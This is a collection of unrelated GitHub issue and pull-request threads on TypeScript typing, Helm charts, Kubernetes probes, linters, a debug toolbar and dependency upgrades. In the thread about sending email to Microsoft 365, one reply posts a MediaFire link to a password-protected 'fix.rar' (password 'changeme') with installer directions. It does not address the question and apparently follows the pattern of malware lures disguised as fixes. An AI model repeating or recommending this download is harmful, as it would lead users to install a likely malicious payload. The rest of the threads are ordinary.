I expect that error (4.0) type (and then data (4.1) type) will be of type "unknown" and IDE will underline spreading data at transformation (1), typechecks will fail, etc --> I will notice the error --> I will prevent the error in runtime.
What do I get?
Error (4.0) type (and then data (4.1) type) are "any" and IDE didn't underline the error, typechecks didn't fail, etc --> I didn't notice the error --> I got TypeError in runtime, cos the error value (5) is not iterable.
Investigation
In other issue, where author was requesting for generic for rejected promise values, rbuckton agreed that type "any" is the most accurate type for rejected promises values. It was ~2-3 years before type "unknown" was introduced, though 🤔!..
Potential solution
Of course, I can add type annotation "error: unknown" in catch callback on my own, but I think it should be automatically inferred with flags I mentioned before. Or maybe create a new flag for this case. Or maybe change Promise.catch definition. Or maybe I don't understand something, please explain me!
Sample Code
// (0)
const getData = () => new Promise<Array<number>>(
  (resolve, reject) => Math.random()
    ? resolve([1, 2, 3])
    : reject(new Error('error!')), // (5)
);

(async () => {
  const data = await getData() // (4.1)
    .catch((error) => { // (4.0)
      console.log(error);
      return error; // (3)
    });

  return [0, ...data]; // (1)
})();

Documentation Link
No response

Duplicate of #45602. Used search terms: promise catch in:title


[Suggestion] Option for Items with 800+ Item Power Only

I think it would be great to have an option to only scan items with Item Power of 800 or greater. So if an item is less than 800 Item Power then don't do scan for any affixes etc

Absolutly i have thought about requesting this too but then moved my request until v2 will hit the light ;)

searching for this should pretty much do the job... only difficulty should be to get the correct position to look for the image for every possible resolutionl.

Idea is good, now we need a reliable way to implement it.
Upgrading items changes the location as well, see examples below. Also just the 8 wont be enough. There is an 8 in 800, 80, and 8 as well.

I think in this case and only specially for this part of the check, converting the 'Item Power' section in the tooltip into a string might be helpful and have a statement to check if the string value is greater than 800. But then again, this points back to what you said about converting to strings in the other thread about having multiple languages etc

Could maybe do the same checks as finding the affix locations by using an image of the "Item Power" without the number

Now that the app uses OCR is was easier to implement.
Item power filter will be available in the v<IP_ADDRESS> release.


Implementation of Queue using Stack

In this algorithm we will use two stack to implement queue.

Please assign it to me and add tags to this issue.

I can also work on this

I would like to work on this in C++

Hi, i want to contribute as a participant of gssoc'21


sending email to mcrosoft 365

Hardware Environment
AMB82-mini
Related technical area
wifi
Is the feature request related to an un-fixed issue?
I don't know, I'm asked support for this feature because i didn't find
Describe the ideal solution/reault/output.
this feature  available on other open source board easy to send to Gmail, but not available to send to Microsoft 365
Additional remarks
No response
I have checked existing/closed list of issues and the Contributing Guide.

[X] I confirm I have checked existing/closed list of issues and the Contributing Guide.

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."


Generalize the Helm Chart some more, #2

Allow specifying base_url for hub
Allow using hostPath based homedirectories for users
Allow setting cookie_secret via helm
Allow specifying db url for hub, so we can use external databases very easily.

Note that this needs to be carefully tested before merging.

Tested, and seems to work!
For existing hubs, you need to preserve the same cookie secret as it exists right now. You can do this by:

exec-ing into the currently running hub pod
copying out the value of the file /srv/jupyterhub/jupyterhub_cookie_secret
Running that through:

import binascii
base64_secret = "<paste-value>"
hex_secret = binascii.b2a_hex(binascii.a2b_base64(base64_secret))
print(hex_secret)

Put the output of 3 as hub.cookieSecret in the yaml file for your hub.
Make sure you're using the newer hub image.
Deploy!

I've set cookie secrets for all of the hubs (including dev variants) and deployed them all. Going to merge this in now \o/


Startup/liveness/readiness probe fails

Details
What steps did you take and what happened:
After weeks of trying I finally have traffic routed through transmission -> pod-gateway -> vpn.
I can see that all routed pod has IP address location of VPN.
After I got the above working strangely the liveness probe stopped working with the following error:
Unhealthy  4m34s (x6698 over 18h)  kubelet  Startup probe failed: dial tcp <IP_ADDRESS>:7878: i/o timeout
I've set very high threshold and frequency before pod is killed
The weird thing is can exec into any pod (including any routed pod e.g. transmission/radarr) and i can curl <IP_ADDRESS>:7878 and I get successful response. I am also able to port-forward and display the page correctly for all instances of routed pods
Helm chart: angelnu/pod-gateway
CNI: Flannel with Canal
pod-gateway settings
image:
  tag: v1.8.1

routed_namespaces:
 - mediaserver

settings:
  VPN_INTERFACE: "tun0"
  VPN_BLOCK_OTHER_TRAFFIC: true
  VPN_TRAFFIC_PORT: 443
  NOT_ROUTED_TO_GATEWAY_CIDRS: "<IP_ADDRESS>/8"

addons:
  vpn:
    enabled: true
    type: gluetun
    env:
      - name: VPN_SERVICE_PROVIDER
        value: "nordvpn"
      - name: VPN_TYPE
        value: "openvpn"
      - name: OPENVPN_PROTOCOL
        value: "tcp"

    securityContext:
      capabilities:
        add:
          - NET_ADMIN

    networkPolicy:
      enabled: false
      policyTypes:
        - Ingress
        - Egress
      ingress:
        - from:
            # Only allow ingress from K8S
            - ipBlock:
                cidr: <IP_ADDRESS>/8
      egress:
        # Allow only VPN traffic to Internet
        - to:
          - ipBlock:
              cidr: <IP_ADDRESS>/0
          ports:
            # VPN traffic port - change if your provider uses a different port
            - port: 443
              protocol: TCP
        - to:
            # Allow traffic within K8S - change if your K8S cluster uses a different CIDR
          - ipBlock:
              cidr: <IP_ADDRESS>/8

Network policy is set to false
Why would this be?

I had a similar issue. I had to whitelist the host ip(192.168.1.x) as when I was curling from the actual host where the pod was deployed. It did not work. But it did work from the kube master.
Try add host ip to: NOT_ROUTED_TO_GATEWAY_CIDRS

Did this solve it @arana198 ?

Yes I will close it. Although I changed a lot of config and k8s cni so I don't remember what I did in the end


LSM tree based index.

[ ] Create cuckoo filter to minimize lookup overhead
[ ]  Create O'Neill SB-Tree implementation
[ ] Merge together cuckoo filters and SB-Trees to create LSM tree.
[ ] Implement rolling merge background thread.
[ ] Create crash tests involving LSM tree index

We consider another version of tree because LSM tree is really hard to fit to our tx system


Encouraging results density

According to the current rules, a submitter may intentionally or unintentionally introduce sparsity in the results table.
For example, if they choose a different system name for each workload they submit on essentially the same system:
awesome_system_for_resnet50
awesome_system_for_retinanet
...

the results table will contain one row per workload. One issue is that such a submitter may get an unfair advantage when their system is picked for audit - with only one workload being subject to audit.
We should mould the rules to encourage results density by carefully defining what constitutes "essentially the same system" and what does not.

Notable examples in v3.0 and v3.1 include CPU-only submissions with names 1-node-2S-SPR-PyTorch-INT8 and 1-node-2S-SPR-PyTorch-MIX, which could be folded into the same row.
On the other hand, 1-node-2S-SPR-PyTorch-INT4+INT8 and 1-node-2S-SPRHBM-PyTorch-BF16 could be viewed as sufficiently different.

Recommendation can be added to the Rules. Intel will make sure this will not happen again.


Update URLs and copy to match project name

bundle is the suggested Pathogen package directory, so I changed that too.

Thanks for the fixes and your interest in the project.  ~/.vim/bundles is definitely in error that should be changed to ~/.vim/bundle, but I'm not clear on why "checker" would be preferable to "linter".  "linter" is about 150x more common in the ALE sources (from grep | wc) and is the only term used in its README.md.  Can you explain?

Ha.  I just realized I named this repository ale-detect-checkers and used ale-detect-linters in the docs.  I'm dense.  A holdover from the Syntastic version.  Thanks for catching that.
I may make the opposite change and rename this repo ale-detect-linters to match the ALE terminology (it is the L in ALE after all).  Any objection?

No objections. I thought, based on this project name, that ALE had changed its terminology to be in terms of generic 'checkers', but it seems it's still just linters and fixers... so ale-detect-linters makes sense to me.
Incidentally, I came here looking for a Ruby solution. Do you have plans to add that? If not, are PRs welcome? — and if so, would adapting python.vim be a good start?

I just renamed this repo and merged your fix to use ~/.vim/bundle for Pathogen.  Let me know if I missed anything.

Incidentally, I came here looking for a Ruby solution. Do you have plans to add that? If not, are PRs welcome? — and if so, would adapting python.vim be a good start?

Absolutely!  PRs would be gladly accepted.  Copying autoload/ale/detect/python.vim to autoload/ale/detect/ruby.vim, replacing the detection logic, then adding ruby to plugin/ale-detect-linters.vim should work well.  You may want to use https://github.com/syngan/vim-vimlint while editing, but I don't mind cleaning up lint issues post-merge.  Don't worry about it if using it is difficult.
The only reason I haven't done it yet is that I don't use Ruby often, so it hasn't been a priority and I'm not familiar with linter configuration conventions.  However, if you aren't comfortable writing VimL, but willing to write pseudo-code detection logic, feel free to open an issue with a pseudo-code description and I'll implement it.
Thanks again,
Kevin


Support debug tool bar float on custom title bar

Motivation: My setup contains custom titlebar without command center and tabs hidden and I want to have debug tool bar on the custom title bar.

Floating debug tool bar is allowed to be placed anywhere in the two rows below the title bar. I enabled this to also be placed on the custom title bar. Please check the following gif.

Also note that, I have shortened the tool bar when tabs and command center are hidden to match the titlebar height. In general I liked the shortened version. So, how about shortening the debug tool bar always?
CC @isidorn

I like these changes overall 👏
+1 for shortening the debug toolbar all the time
fyi @connor4312

nice! One comment

@connor4312 Addressed the feedback


Admin\User and Access Requests - Internal User can view access requests

Dependencies

Blocked by
Blocking #2059

Description:
As an internal user, I can see Operator Administrators and Access Requests grid(Only admin requests). This ticket is just about creating the grid. Actually approving/rejecting requests is in 2059
Acceptance Criteria:
Given I am an internal user on the dashboard
When I click Operator Administrators and Access Requests
Then I am brought to the Operator Access requests grid
Development Checklist:

[x] Create a page for the grid (start with a copy/paste of reg1's apps/registration1/app/(authenticated)/idir/cas_admin/dashboard/operators/page.tsx) into both cas_admin and cas_analyst
[x] Update the grid to match the reg2 wirename (notably the statuses, confirm columns etc. too)
[x] To get the data for the grid, create v2 version of @router.get("/user-operators"...) and relevant services. Reg1 excludes certain user_operators and for reg2 they should all be visible
[x] vitests (can probably straight copy/paste from reg1)
[x] pytests
[ ] Meets the DOD

Definition of Ready (Note: If any of these points are not applicable, mark N/A)

[ ] User story is included
[ ] User role and type are identified
[ ] Acceptance criteria are included
[ ] Wireframes are included (if required)
[ ] Design / Solution is accepted by Product Owner
[ ] Dependencies are identified (technical, business, regulatory/policy)
[ ] Story has been estimated (under 13 pts)

·Definition of Done (Note: If any of these points are not applicable, mark N/A)

[ ] Acceptance criteria are tested by the CI pipeline
[ ] UI meets accessibility requirements
[ ] Configuration changes are documented, documentation and designs are updated
[ ] Passes code peer-review
[ ] Passes QA of Acceptance Criteria with verification in Dev and Test
[ ] Ticket is ready to be merged to main branch
[ ] Can be demoed in Sprint Review
[ ] Bugs or future work cards are identified and created
[ ] Reviewed and approved by Product Owner

Notes:

Refinement Notes:

Revisit AC and include DevChecklist

Hey @zoeyli-46 / @andrea-williams!
In Reg1, we excluded admin requests based on the following conditions:

Pending user_operators belonging to operators that already have approved admins
Approved user_operators that were approved by industry users

Which of these two conditions still apply in Reg2?

Tested in dev. Operation Access Grid is visible.


[Snyk] Upgrade @floating-ui/react-dom from 0.6.3 to 0.7.0

This PR was automatically created by Snyk using the credentials of a real user.Snyk has created this PR to upgrade @floating-ui/react-dom from 0.6.3 to 0.7.0.
:information_source: Keep your dependencies up-to-date. This makes it easier to fix existing vulnerabilities and to more quickly identify and fix newly disclosed vulnerabilities when they affect your project.

The recommended version is 1 version ahead of your current version.
The recommended version was released a month ago, on 2022-05-07.

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open upgrade PRs.
For more information:
🧐 View latest project report
🛠 Adjust upgrade PR settings
🔕 Ignore this dependency or unsubscribe from future upgrade PRs

Codecov Report

Merging #2 (50a2d4a) into main (9cd1eab) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main       #2   +/-   ##
=======================================
  Coverage   98.92%   98.92%
=======================================
  Files         127      127
  Lines        7277     7277
  Branches      826      826
=======================================
  Hits         7199     7199
  Misses         78       78

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9cd1eab...50a2d4a. Read the comment docs.